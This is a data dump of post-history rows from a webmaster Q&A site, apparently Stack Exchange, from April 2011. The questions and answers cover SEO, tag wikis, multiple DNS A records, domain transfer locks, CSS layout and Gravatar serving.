  <row Id="29018" PostHistoryTypeId="24" PostId="12682" RevisionGUID="5e323a49-49c8-4e6e-8c21-cbd8b81e63b1" CreationDate="2011-04-21T00:54:16.410" Comment="Proposed by 5013 approved by 1253 edit id of 213" />
  <row Id="29019" PostHistoryTypeId="5" PostId="12648" RevisionGUID="03e29509-8344-4db1-bdbc-7a8ea88d5d0d" CreationDate="2011-04-21T00:54:18.237" UserId="5013" Comment="added 127 characters in body" Text="A &quot;web service&quot; is a software system designed to support interoperable machine-to-machine interaction over the World Wide Web. " />
  <row Id="29020" PostHistoryTypeId="24" PostId="12648" RevisionGUID="03e29509-8344-4db1-bdbc-7a8ea88d5d0d" CreationDate="2011-04-21T00:54:18.237" Comment="Proposed by 5013 approved by 1253 edit id of 196" />
  <row Id="29021" PostHistoryTypeId="5" PostId="12650" RevisionGUID="1dec71a3-d498-4eca-b60e-6997e1df883a" CreationDate="2011-04-21T00:54:20.607" UserId="5013" Comment="added 209 characters in body" Text="XHTML, eXtensible HyperText Markup Language, is an application of HTML that is also a valid XML document, as opposed to standard HTML which is based on SGML. It is a markup language commonly used for webpages." />
  <row Id="29022" PostHistoryTypeId="24" PostId="12650" RevisionGUID="1dec71a3-d498-4eca-b60e-6997e1df883a" CreationDate="2011-04-21T00:54:20.607" Comment="Proposed by 5013 approved by 1253 edit id of 197" />
  <row Id="29023" PostHistoryTypeId="5" PostId="12678" RevisionGUID="356b2ade-9e15-40ca-90fb-83d8abb825df" CreationDate="2011-04-21T00:54:23.167" UserId="5013" Comment="added 232 characters in body" Text="XML (Extensible Markup Language) is a set of rules for encoding documents in machine-readable form. It is defined in the XML 1.0 Specification produced by the W3C, and several other related specifications, all gratis open standards." />
  <row Id="29024" PostHistoryTypeId="24" PostId="12678" RevisionGUID="356b2ade-9e15-40ca-90fb-83d8abb825df" CreationDate="2011-04-21T00:54:23.167" Comment="Proposed by 5013 approved by 1253 edit id of 211" />
  <row Id="29025" PostHistoryTypeId="2" PostId="12695" RevisionGUID="244d245d-abc3-4cc8-a731-30eba46b873f" CreationDate="2011-04-21T01:04:46.540" UserId="4461" Text="I would answer **no** to this question, for the following reasons:&#xD;&#xA;&#xD;&#xA; 1. RSS as an alternative for XML Sitemap is just that - an *alternative*&#xD;&#xA; 2. The comments feed is just a list of fragment references ([the bit in the URL after the #][1]) to one page, as opposed to a list of unique page URLs - which is the intent of a sitemap.&#xD;&#xA; 3. I would suggest that comments aren't (normally) the strongest value area of a page - you would hope that the actual content being commented on was, so there doesn't seem to be much value highlighting the low-value are to search engines.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/WD-html40-970708/htmlweb.html#h-4.1.1" />
  <row Id="29026" PostHistoryTypeId="2" PostId="12696" RevisionGUID="2f590e24-a0b4-477d-85a7-0469f13bf7b8" CreationDate="2011-04-21T01:56:55.237" UserId="5718" Text="You can actually get the data you want out of Google Analytics but you either need to use an Advanced Segment or a Custom Report. &#xD;&#xA;&#xD;&#xA;With an Advanced Segment you can set up a filter for &quot;New York&quot; and most of the reports will just contain this data. &#xD;&#xA;&#xD;&#xA;You can create a Custom Report that shows you visits to each page split down by region. &#xD;&#xA;&#xD;&#xA;If you want to check out a different analytics package then a popular alternative to Google Analytics is piwik. It's free and open source but you need to host it yourself and I haven't used it enough myself to know how good it is." />
  <row Id="29035" PostHistoryTypeId="2" PostId="12700" RevisionGUID="daec4cfd-0f1f-467e-93e0-7fd943daeb7a" CreationDate="2011-04-21T01:54:38.500" UserDisplayName="Ajay" Text="The new feature on google search which uses local search (like users City), how do we make sure our website is hosted in other countries but content/location is specific city." />
  <row Id="29036" PostHistoryTypeId="1" PostId="12700" RevisionGUID="daec4cfd-0f1f-467e-93e0-7fd943daeb7a" CreationDate="2011-04-21T01:54:38.500" UserDisplayName="Ajay" Text="Google SEO local ranking" />
  <row Id="29037" PostHistoryTypeId="3" PostId="12700" RevisionGUID="daec4cfd-0f1f-467e-93e0-7fd943daeb7a" CreationDate="2011-04-21T01:54:38.500" UserDisplayName="Ajay" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="29038" PostHistoryTypeId="17" PostId="12700" RevisionGUID="85ea8f2f-e363-4e6a-be4c-ea50d1b69485" CreationDate="2011-04-21T02:41:38.900" UserId="-1" Comment="from http://stackoverflow.com/questions/5738667/google-seo-local-ranking" Text="" />
  <row Id="29039" PostHistoryTypeId="2" PostId="12701" RevisionGUID="57b1056e-9339-4ebc-bd59-53936afe42de" CreationDate="2011-04-21T02:48:55.397" UserId="6467" Text="Footer links are discounted by Google. I doubt this type of link in a broad keyword as SEO would be of much value. It may be good for some direct traffic but not much else. Often these are on websites with little trust and little value in link juice. " />
  <row Id="29040" PostHistoryTypeId="2" PostId="12702" RevisionGUID="683e90db-accf-4c29-a2ca-8633491a524d" CreationDate="2011-04-21T02:49:20.750" UserId="6434" Text="I have made ​​some image optimized, where I have put together some small images.&#xD;&#xA;It is very simple. I put 4 image clean together to decrease the number of connections and use css to keep them in place.&lt;br /&gt;&#xD;&#xA;But there comes an &quot;Error/Status Code: 0&quot; when trying to retrieve image føste time, but then succeed the second time.&#xD;&#xA;Scroll down to request 21, here there will be more information if needed.&#xD;&#xA;&#xD;&#xA;[http://www.webpagetest.org/result/110421_M6_EZA7/1/details/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webpagetest.org/result/110421_M6_EZA7/1/details/" />
  <row Id="29041" PostHistoryTypeId="1" PostId="12702" RevisionGUID="683e90db-accf-4c29-a2ca-8633491a524d" CreationDate="2011-04-21T02:49:20.750" UserId="6434" Text="Problems with Error/Status Code: 0" />
  <row Id="29042" PostHistoryTypeId="3" PostId="12702" RevisionGUID="683e90db-accf-4c29-a2ca-8633491a524d" CreationDate="2011-04-21T02:49:20.750" UserId="6434" Text="&lt;web-hosting&gt;&lt;web-development&gt;&lt;websites&gt;" />
  <row Id="29043" PostHistoryTypeId="2" PostId="12703" RevisionGUID="ac5ed516-1140-4186-87c4-ae97782cce65" CreationDate="2011-04-21T02:53:46.093" UserId="6467" Text="It depends on how old and established your website is. If its new with few links, and you are in a hurry, and you have a budget, do yahoo and business. The fact that you spend the money shows the search engines you are serious about your website. If the site is older and more established there will be little benefit. " />
  <row Id="29044" PostHistoryTypeId="2" PostId="12704" RevisionGUID="6df3acf2-3fd7-432e-a321-0ac8664b55c1" CreationDate="2011-04-21T02:59:53.060" UserId="6996" Text="Yes, most browsers from the last 5-10 years will try the other A records if one fails to respond. This is sometimes called &quot;browser retry&quot; or &quot;client retry&quot; apparently. You'll pretty much only find stuff about it in the context of the various browser exploits which this feature enables against sites not using it (see DNS rebinding and DNS pinning, anti-dns pinning, anti-anti-dns pinning, anti-anti-anti-dns pinning, and so on). Kind of a bad reputation, but it does prove it exists.&#xD;&#xA;&#xD;&#xA;Pretty much every browser does indeed receive the full list of A records, and does indeed check others if the one it is using fails. You can expect each client to have a 30 second wait when they first try to access a site when a server is down, until it connects to a working address. The browser will then cache which address is working and continue using that one for future requests unless it also fails, then it will have to search through the list again. So 30 second wait on first request, fine thereafter.&#xD;&#xA;&#xD;&#xA;But it isn't something you necessarily want to use, it's going to have lots of caveats about browser compatibility, os compatibility, proxy compatibility, cache-control headers are going to have weird effects on whether it remembers which IPs are down or starts having that 30 second wait on every request, people writing custom clients for your site are going to end up using gethostbyname instead of getaddrinfo and not be able to handle the failover, all sorts of potential problems.&#xD;&#xA;&#xD;&#xA;You also can't rely on multiple A records to allow for &quot;master&quot; and &quot;slave&quot; servers, because you'll never know which address a browser is going to pick out of the list. They all need to be just as capable of handling visitors if running, because any one might get traffic if it's up. A browser might think your third server out of the list is the most appealing, maybe it looks the closest, and it will choose that one even though all three are still up.&#xD;&#xA;&#xD;&#xA;But if you can live with the limitations and have a reasonably simple HTTP system that you can predict the browser interaction with, it will work.&#xD;&#xA;&#xD;&#xA;Oh, you'll also have to deal with a lot of people telling you this doesn't exist (since that was true 15 years ago). But you can try telneting to an A record with some dead IPs in it and some good ones if you need to prove it (yes, even good old telnet now uses getaddrinfo and handles multiple A records gracefully these days) -- it will print out a nice list of the IPs it's trying until it finally succeeds." />
  <row Id="29045" PostHistoryTypeId="2" PostId="12705" RevisionGUID="0877b6b4-e5eb-412a-a52f-2f0e9dc03212" CreationDate="2011-04-21T03:01:03.820" UserId="6467" Text="No links are worthless. All have some value. True a link from a blog comment of something unrelated is of very little value but it does carry some. Forum posts have very little also. But 10,000 + to a website in a market where links are extremely hard (like ball bearings) does help. It all depends on the industry, competition, country, trust and other factors. " />
  <row Id="29046" PostHistoryTypeId="2" PostId="12706" RevisionGUID="3a4b95a3-a175-47c6-87ce-15fd9f67d3ca" CreationDate="2011-04-21T03:07:51.333" UserId="6643" Text="As per subject, anyone can tell me how to check that my site is getting index/rank by search engine(e.g. google, yahoo)?" />
  <row Id="29047" PostHistoryTypeId="1" PostId="12706" RevisionGUID="3a4b95a3-a175-47c6-87ce-15fd9f67d3ca" CreationDate="2011-04-21T03:07:51.333" UserId="6643" Text="How to know that my site is getting index/rank by search engine" />
  <row Id="29048" PostHistoryTypeId="3" PostId="12706" RevisionGUID="3a4b95a3-a175-47c6-87ce-15fd9f67d3ca" CreationDate="2011-04-21T03:07:51.333" UserId="6643" Text="&lt;indexing&gt;&lt;site-ranking&gt;" />
  <row Id="29049" PostHistoryTypeId="25" PostId="12690" RevisionGUID="8e0e1341-7f74-4709-a720-3f9587858165" CreationDate="2011-04-21T03:09:17.493" Comment="http://twitter.com/#!/StackWebmasters/status/60902899923959816" />
  <row Id="29050" PostHistoryTypeId="2" PostId="12707" RevisionGUID="fcedb7d5-519a-4398-b478-4e1bc07ac77d" CreationDate="2011-04-21T03:10:26.897" UserId="6467" Text="Hosting location has little impact on results. The easiest way to localize a website in to claim the Search engine local listings (Google places). You can also put geo locate meta tags in for smaller vertical search engines.  &#xD;&#xA;Also, just because you see a local city search in USA does not mean the country xyz has that option. Google's web pages are different around the world. " />
  <row Id="29051" PostHistoryTypeId="5" PostId="12700" RevisionGUID="ec50e340-3195-48dc-a136-b7178a025439" CreationDate="2011-04-21T03:15:52.297" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Local SEO Strategies](http://webmasters.stackexchange.com/questions/5531/local-seo-strategies)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;The new feature on google search which uses local search (like users City), how do we make sure our website is hosted in other countries but content/location is specific city." />
  <row Id="29052" PostHistoryTypeId="10" PostId="12700" RevisionGUID="bc82203f-08ab-4cb6-91a3-c59e2ffccbe7" CreationDate="2011-04-21T03:15:51.860" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="29053" PostHistoryTypeId="2" PostId="12708" RevisionGUID="fcfe471e-c686-475d-b228-290b9dc71001" CreationDate="2011-04-21T03:20:21.047" UserId="1253" Text="To see if you are indexed just search for your domain name. If you appear then you are indexed.&#xD;&#xA;&#xD;&#xA;To check to see how you rank requires doing searches for terms you expect to be ranked for and then see if you appear. Of course, you may not rank well and thus not find your pages being listed. That just means your pages rank poorly. See [this question][1] for tools to help automate this process.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3905/tool-to-monitor-rankings" />
  <row Id="29054" PostHistoryTypeId="6" PostId="12706" RevisionGUID="84c2535b-7059-4990-b1e5-035bf17916af" CreationDate="2011-04-21T03:32:27.420" UserId="1253" Comment="added &quot;search-engines&quot; tag" Text="&lt;search-engines&gt;&lt;indexing&gt;&lt;site-ranking&gt;" />
  <row Id="29055" PostHistoryTypeId="2" PostId="12709" RevisionGUID="6777348c-08fc-4e68-b15d-39f1b695fd83" CreationDate="2011-04-21T03:45:03.203" UserId="5013" Text="Digital Point offers a free one here:&#xD;&#xA;http://tools.digitalpoint.com/tracker.php&#xD;&#xA;&#xD;&#xA;You have to install it on your server. &#xD;&#xA;Requirements: PHP 5.2.0 or higher&#xD;&#xA;&#xD;&#xA;I cannot comment as to how good it is/how well it works. However, it does appear to be interesting, so anyone who tries it, let me know how well it works." />
  <row Id="29056" PostHistoryTypeId="5" PostId="12709" RevisionGUID="b3588cc8-85ff-4a03-b38d-1f261e956b40" CreationDate="2011-04-21T03:53:44.300" UserId="5013" Comment="more info on app; added 16 characters in body" Text="Digital Point offers a free one here:&#xD;&#xA;http://tools.digitalpoint.com/tracker.php&#xD;&#xA;&#xD;&#xA;From the picture (pretty graphs) it appears that it tracks more than just Google SERPs. I'm not sure how many search engines it tracks, but as pictured, Bing is one of them.&#xD;&#xA;&#xD;&#xA;You have to install it on your server. &#xD;&#xA;Requirements: PHP 5.2.0 or higher&#xD;&#xA;&#xD;&#xA;I cannot comment as to how good it is/how well it works. However, it does appear to be interesting, so anyone who tries it, let me know how well it works." />
  <row Id="29063" PostHistoryTypeId="2" PostId="12712" RevisionGUID="a2a70cdf-bbfd-4458-a2ab-62eb91eaa7e8" CreationDate="2011-04-21T04:51:47.360" UserId="131" Text="I had a little trouble creating my .ico file with the GIMP, but [this post][1] gives detailed instructions. The trick appears to be saving as GIF format first to convert to an indexed colour table, and then convert that to ICO format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.techanswerguy.com/2007/03/creating-transparent-faviconico-with.html" />
  <row Id="29065" PostHistoryTypeId="2" PostId="12714" RevisionGUID="c60cd9fa-1a98-485b-97cb-a9caac340906" CreationDate="2011-04-21T05:35:24.587" UserId="6998" Text="i am having a domain registered with godaddy when i am looking through my domain details i found this in the who is lookup , what is this means and if i would like to transfer my domain to another registrar will it be hassle free ?" />
  <row Id="29066" PostHistoryTypeId="1" PostId="12714" RevisionGUID="c60cd9fa-1a98-485b-97cb-a9caac340906" CreationDate="2011-04-21T05:35:24.587" UserId="6998" Text="Status:CLIENT TRANSFER PROHIBITED" />
  <row Id="29067" PostHistoryTypeId="3" PostId="12714" RevisionGUID="c60cd9fa-1a98-485b-97cb-a9caac340906" CreationDate="2011-04-21T05:35:24.587" UserId="6998" Text="&lt;domain-registration&gt;" />
  <row Id="29069" PostHistoryTypeId="25" PostId="12714" RevisionGUID="2d57364a-84d8-4762-8347-3686f97e2295" CreationDate="2011-04-21T06:09:17.767" Comment="http://twitter.com/#!/StackWebmasters/status/60948200131018752" />
  <row Id="29076" PostHistoryTypeId="2" PostId="12717" RevisionGUID="060d9f17-a4f8-48a1-bb00-c42c4df2e6a6" CreationDate="2011-04-21T07:56:18.670" UserId="1064" Text="`CLIENT TRANSFER PROHIBITED` is an [Extensible Provisioning Protocol][1] code (typically used with a subset of [gTLD's][2]) which is functionally equivalent to the `REGISTRAR-LOCK` status described at the [Registrar-Lock][3] Wikipedia entry:&#xD;&#xA;&#xD;&#xA;&gt; REGISTRAR-LOCK is a status code that&#xD;&#xA;&gt; can be set on an Internet domain name&#xD;&#xA;&gt; by the sponsoring registrar of the&#xD;&#xA;&gt; domain name.[1][4] This is usually&#xD;&#xA;&gt; done in order to prevent unauthorized,&#xD;&#xA;&gt; unwanted or accidental changes to the&#xD;&#xA;&gt; domain name.&#xD;&#xA;&gt; &#xD;&#xA;&gt; When set, the following actions are&#xD;&#xA;&gt; prohibited by the domain name&#xD;&#xA;&gt; registry:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     * Modification of the domain name, including:&#xD;&#xA;&gt;           o Transferring of the domain name&#xD;&#xA;&gt;           o Deletion of the domain name&#xD;&#xA;&gt; &#xD;&#xA;&gt; Renewal of the domain name is,&#xD;&#xA;&gt; however, still possible when&#xD;&#xA;&gt; REGISTRAR-LOCK is set.&#xD;&#xA;&#xD;&#xA;GoDaddy provides facilities for [locking and unlocking][5] your domain if you plan to transfer it to a different registrar or make changes to the registrant information; it is generally recommended that you keep your domain locked when you are not making changes or transferring, as unlocked domains are vulnerable to unauthorized transfers.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Extensible_Provisioning_Protocol&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Generic_top-level_domain&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Registrar-Lock&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Generic_top-level_domain&#xD;&#xA;  [5]: http://help.godaddy.com/article/410" />
  <row Id="29077" PostHistoryTypeId="25" PostId="12706" RevisionGUID="b4742f9d-ec20-4198-a309-b5586cb241ba" CreationDate="2011-04-21T09:09:17.617" Comment="http://twitter.com/#!/StackWebmasters/status/60993498396106752" />
  <row Id="29078" PostHistoryTypeId="2" PostId="12718" RevisionGUID="458359a4-5878-4ca2-9791-868041dd8b47" CreationDate="2011-04-21T09:31:04.743" UserId="6745" Text="You can try setting a fixed width to the body of the site. This will prevent browsers from adjusting the width to fit the viewport. However it means you may end up with horizontal scrollbars if the user's viewport is smaller than your site's width.&#xD;&#xA;&#xD;&#xA;The CSS would look something like:&#xD;&#xA;&#xD;&#xA;    body {&#xD;&#xA;      width:920px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29079" PostHistoryTypeId="2" PostId="12719" RevisionGUID="2b98771f-d8ac-4edc-9942-928674485b4e" CreationDate="2011-04-21T09:46:34.587" UserId="6745" Text="You could do it using JavaScript. If you're looking for automatic translation you can try the [Google Translate Widget][1]. &#xD;&#xA;&#xD;&#xA;If you're going to do the translation yourself you could create a language dropdown and use JS to replace the page's contents with the contents of the selected language. To do this though (assuming Google Sites doesn't allow you to use server-side code; not really sure) you'd have to have the browser download the page in all languages then just use JS to swap in the correct content.&#xD;&#xA;&#xD;&#xA;Check out this [Fiddle][2] to see what I mean.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://translate.google.com/translate_tools&#xD;&#xA;  [2]: http://jsfiddle.net/dosboy/bJtGw/" />
  <row Id="29080" PostHistoryTypeId="5" PostId="12718" RevisionGUID="c7170745-4838-4a48-a5d5-d66ab7c3d12a" CreationDate="2011-04-21T09:57:35.640" UserId="6745" Comment="added 250 characters in body" Text="You can try setting a fixed width to the body of the site. This will prevent browsers from adjusting the width to fit the viewport. However it means you may end up with horizontal scrollbars if the user's viewport is smaller than your site's width.&#xD;&#xA;&#xD;&#xA;The CSS would look something like:&#xD;&#xA;&#xD;&#xA;    body {&#xD;&#xA;      width:920px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You could also try a min-width (supported in some browsers). This could be smaller than the (arbitrarily) 920px I've used in the example, but could be large enough that your site doesn't &quot;squish&quot;.  Ex.&#xD;&#xA;&#xD;&#xA;    body {&#xD;&#xA;      min-width:600px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29081" PostHistoryTypeId="2" PostId="12720" RevisionGUID="767329cd-3f79-48f9-bca2-7a35e8ae9803" CreationDate="2011-04-21T10:09:31.283" UserId="2739" Text="A lot of browsers persistently remember sites that you've zoomed into before.&#xD;&#xA;&#xD;&#xA;You might want to check that it's not a local setting that is 'expanding' your particular website and cropping the white space.&#xD;&#xA;&#xD;&#xA;CTRL and zero will reset the zoom in Firefox, Chrome and IE." />
  <row Id="29082" PostHistoryTypeId="2" PostId="12721" RevisionGUID="7b5e4a06-881a-4f0e-a1ee-8e3ddca0bff9" CreationDate="2011-04-21T10:20:02.930" UserId="6745" Text="It sounds to me like you're already logged into Google (either via gmail, blogspot, or some other Google service), so when it returns the result to you it's taking you to the admin page, because you're the admin. If you log out of google and do the search it should take you to the public page because then you're just an anonymous user." />
  <row Id="29084" PostHistoryTypeId="2" PostId="12723" RevisionGUID="0873b3bf-7a10-43af-9a84-bbc169df1979" CreationDate="2011-04-21T10:35:09.120" UserId="7002" Text="I have been contacted from the Yell.com Marketing department. Usually I would disregard sales calls but my manager is quite interested in their deals.&#xD;&#xA;&#xD;&#xA;They reckon that they have a partnership with Google Adverts and can do them cheaper. Has anybody else had any luck with this. How does it work? How does it fit in with googles existing Advert tools? Are they just reselling adverts for us?&#xD;&#xA;&#xD;&#xA;Any info would be appreciated." />
  <row Id="29085" PostHistoryTypeId="1" PostId="12723" RevisionGUID="0873b3bf-7a10-43af-9a84-bbc169df1979" CreationDate="2011-04-21T10:35:09.120" UserId="7002" Text="Google AdWords Whole Salers" />
  <row Id="29086" PostHistoryTypeId="3" PostId="12723" RevisionGUID="0873b3bf-7a10-43af-9a84-bbc169df1979" CreationDate="2011-04-21T10:35:09.120" UserId="7002" Text="&lt;advertising&gt;&lt;adwords&gt;" />
  <row Id="29087" PostHistoryTypeId="2" PostId="12724" RevisionGUID="b373cdc7-a977-4e92-95cb-ac734de77c7b" CreationDate="2011-04-21T10:37:18.150" UserId="6745" Text="There's also &quot;special access&quot; which is essentially anyone that has a higher access level than simply &quot;registered&quot;.  If you require more granularity there are extensions which will allow this, but they do get somewhat complicated.  Just check out http://extensions.joomla.org/extensions/access-a-security, but I highly recommend reading the documentation and doing testing before deploying any of those solutions to a live site, as they can be quite difficult / non-intuitive." />
  <row Id="29088" PostHistoryTypeId="2" PostId="12725" RevisionGUID="4ace9ed8-096d-4ed9-b41e-a1f8bab13305" CreationDate="2011-04-21T10:54:58.920" UserId="6745" Text="You could try a worldwide/global satellite ISP. Googling &quot;global satellite isp&quot; turned up a number of results, though you'd have to filter through them to figure out which ones were legit and which ones were shady (a lot of them had pretty sketchy websites, which is always a hit at shadiness IMHO)." />
  <row Id="29089" PostHistoryTypeId="2" PostId="12726" RevisionGUID="543c800a-e04d-4745-86ba-c1a6d97694af" CreationDate="2011-04-21T11:08:35.077" UserId="-1" Text="" />
  <row Id="29090" PostHistoryTypeId="2" PostId="12727" RevisionGUID="ba924626-1e5c-477d-8d8b-3fed62a8d6b3" CreationDate="2011-04-21T11:08:35.077" UserId="-1" Text="" />
  <row Id="29091" PostHistoryTypeId="2" PostId="12728" RevisionGUID="ed82edb4-b776-4393-afac-3359b4fc71d1" CreationDate="2011-04-21T11:44:05.393" UserId="6149" Text="How &quot;google news&quot; can recognise that article in my website has few pages?&#xD;&#xA;&#xD;&#xA;**Description**:&#xD;&#xA;&#xD;&#xA;My website has articles that I want will be taken by google news.&#xD;&#xA;if article content too long in my website - he divided to pages (the problem should be for google how recognise that it same article).&#xD;&#xA;&#xD;&#xA;**example from other website - same as in my website**: &#xD;&#xA;&#xD;&#xA;http://money.howstuffworks.com/ponzi-scheme.htm   (1 page)&#xD;&#xA;&#xD;&#xA;http://money.howstuffworks.com/ponzi-scheme1.htm  (2 page)&#xD;&#xA;&#xD;&#xA;http://money.howstuffworks.com/ponzi-scheme2.htm  (3 page)&#xD;&#xA;&#xD;&#xA;The solution that I know now : put every article in same page and not split to pages, but this solution reduce pages for index in my website and will reduce website rating in search results (please write if I am wrong). &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Yosef&#xD;&#xA;" />
  <row Id="29092" PostHistoryTypeId="1" PostId="12728" RevisionGUID="ed82edb4-b776-4393-afac-3359b4fc71d1" CreationDate="2011-04-21T11:44:05.393" UserId="6149" Text="How &quot;google news&quot; can recognise that article in my website has few pages?" />
  <row Id="29093" PostHistoryTypeId="3" PostId="12728" RevisionGUID="ed82edb4-b776-4393-afac-3359b4fc71d1" CreationDate="2011-04-21T11:44:05.393" UserId="6149" Text="&lt;seo&gt;&lt;google-news&gt;" />
  <row Id="29094" PostHistoryTypeId="5" PostId="12583" RevisionGUID="ef2d6fa6-4a0b-4071-8947-8504c7866cd3" CreationDate="2011-04-21T11:59:43.197" UserId="195" Comment="added 87 characters in body" Text="Im adding a blog to a site. Would it be better for SEO to put it at `blog.example.com` or at `www.exampleblog.com`?  I already own `www.exampleblog.com` .&#xD;&#xA;&#xD;&#xA;Would combining the words together to `exampleblog` have a negative effect?" />
  <row Id="29095" PostHistoryTypeId="2" PostId="12729" RevisionGUID="db35e3e3-dd3f-4802-aa2f-c9d27fffc2a5" CreationDate="2011-04-21T12:05:03.210" UserId="1253" Text="&gt; Would combining the words together to exampleblog have a negative effect?&#xD;&#xA;&#xD;&#xA;Why would it? Is it spam? Or a manipulation of the search results? No. You just have two keywords in your domain: example and blog. That's all that means." />
  <row Id="29096" PostHistoryTypeId="25" PostId="12728" RevisionGUID="b66e544f-9294-4118-bf58-1bce8fa49c35" CreationDate="2011-04-21T12:09:17.453" Comment="http://twitter.com/#!/StackWebmasters/status/61038795126087680" />
  <row Id="29097" PostHistoryTypeId="5" PostId="9933" RevisionGUID="6b18081f-8a37-41fe-a3cd-3b7e6967323d" CreationDate="2011-04-21T12:16:16.277" UserId="5013" Comment="grammar, spelling, tags" Text="I want to track my website's position in Google's search results for around 50 keywords/phrases and am looking to a nice web app/windows app to automate this process? Ideally, I want to see pretty line graphs for my keyword/position.&#xD;&#xA;&#xD;&#xA;I'm currently trying:&#xD;&#xA;[Raven Tools][1] and&#xD;&#xA;[Sheer SEO][2] but am not particularly impressed with either.&#xD;&#xA;&#xD;&#xA;My budget is up to £25-30/$30-40 for a decent bit of software&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://raventools.com&#xD;&#xA;  [2]: http://www.sheerseo.com" />
  <row Id="29098" PostHistoryTypeId="4" PostId="9933" RevisionGUID="6b18081f-8a37-41fe-a3cd-3b7e6967323d" CreationDate="2011-04-21T12:16:16.277" UserId="5013" Comment="grammar, spelling, tags" Text="can anyone recommend a Google SERP tracker?" />
  <row Id="29099" PostHistoryTypeId="6" PostId="9933" RevisionGUID="6b18081f-8a37-41fe-a3cd-3b7e6967323d" CreationDate="2011-04-21T12:16:16.277" UserId="5013" Comment="grammar, spelling, tags" Text="&lt;seo&gt;&lt;google-search&gt;&lt;web-applications&gt;&lt;windows&gt;&lt;serps&gt;" />
  <row Id="29100" PostHistoryTypeId="24" PostId="9933" RevisionGUID="6b18081f-8a37-41fe-a3cd-3b7e6967323d" CreationDate="2011-04-21T12:16:16.277" Comment="Proposed by 5013 approved by 1253 edit id of 218" />
  <row Id="29101" PostHistoryTypeId="5" PostId="12726" RevisionGUID="aab08e9c-cfba-434c-bb12-2e86774e7e45" CreationDate="2011-04-21T12:16:21.800" UserId="4461" Comment="added 741 characters in body" Text="Google established the &quot;Webmaster Tools&quot; console with the purpose of providing more transparency to website owners and web-developers with issues that arose out of being discovered, crawled and indexed by the search engine.&#xD;&#xA;&#xD;&#xA;The service is provided as web-based console requiring both a Google account to login, and also to have the website 'registered' or 'verified' and matched to the login account using a number of different methods (Google Analytics, Meta Tag, File-Upload and DNS text entry).&#xD;&#xA;&#xD;&#xA;The console is located at https://www.google.com/webmasters/tools/&#xD;&#xA;&#xD;&#xA;Further information, including help using the tool, can be found at Google's own help resource: https://www.google.com/support/webmasters/bin/topic.py?hl=en&amp;topic=8465" />
  <row Id="29102" PostHistoryTypeId="24" PostId="12726" RevisionGUID="aab08e9c-cfba-434c-bb12-2e86774e7e45" CreationDate="2011-04-21T12:16:21.800" Comment="Proposed by 4461 approved by 1253 edit id of 219" />
  <row Id="29103" PostHistoryTypeId="5" PostId="12727" RevisionGUID="745cca7a-cfbb-4d6a-99b1-d444c3467ff3" CreationDate="2011-04-21T12:16:30.287" UserId="4461" Comment="added 128 characters in body" Text="A Google web-based console that provides additional insight into a registered website's search performance and potential issues." />
  <row Id="29104" PostHistoryTypeId="24" PostId="12727" RevisionGUID="745cca7a-cfbb-4d6a-99b1-d444c3467ff3" CreationDate="2011-04-21T12:16:30.287" Comment="Proposed by 4461 approved by 1253 edit id of 220" />
  <row Id="29105" PostHistoryTypeId="2" PostId="12730" RevisionGUID="fd40a3b6-b5d8-4b66-8be6-8c799bce693d" CreationDate="2011-04-21T12:23:33.160" UserId="7004" Text="I have seen tutorials and read on how to connect to my website using the shell and basically getting a SSH access to it. But the problem is, SSH access is disabled for my account and I can't get it enabled (extra $). &#xD;&#xA;&#xD;&#xA;How do I connect to my website hosting server without SSH? I need to do this because I want to be able to install software on my server. So how do I do that without SSH?" />
  <row Id="29106" PostHistoryTypeId="1" PostId="12730" RevisionGUID="fd40a3b6-b5d8-4b66-8be6-8c799bce693d" CreationDate="2011-04-21T12:23:33.160" UserId="7004" Text="Connecting to my website without SSH" />
  <row Id="29107" PostHistoryTypeId="3" PostId="12730" RevisionGUID="fd40a3b6-b5d8-4b66-8be6-8c799bce693d" CreationDate="2011-04-21T12:23:33.160" UserId="7004" Text="&lt;web-hosting&gt;&lt;linux&gt;&lt;software&gt;" />
  <row Id="29108" PostHistoryTypeId="2" PostId="12731" RevisionGUID="1175ede8-6d3f-4fe4-97d3-6d3607fb4d6a" CreationDate="2011-04-21T12:24:36.867" UserId="5727" Text="Microsoft on their website seems to get the avatar server side, and then serve it as an image from their servers.  IE:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;avatar.jpg?username=Tom&quot; /&gt;&#xD;&#xA;&#xD;&#xA;I currently just link directly to Gravatar in the image tag itself.&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;http://www.gravatar.com/hash?=etc&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Is there an advantage as acting as a proxy and serving them?  Would you come up in image searches a lot?  " />
  <row Id="29109" PostHistoryTypeId="1" PostId="12731" RevisionGUID="1175ede8-6d3f-4fe4-97d3-6d3607fb4d6a" CreationDate="2011-04-21T12:24:36.867" UserId="5727" Text="Serve gravatar extenerally?" />
  <row Id="29110" PostHistoryTypeId="3" PostId="12731" RevisionGUID="1175ede8-6d3f-4fe4-97d3-6d3607fb4d6a" CreationDate="2011-04-21T12:24:36.867" UserId="5727" Text="&lt;image&gt;&lt;proxy&gt;&lt;image-hosting&gt;&lt;avatar&gt;&lt;gravatar&gt;" />
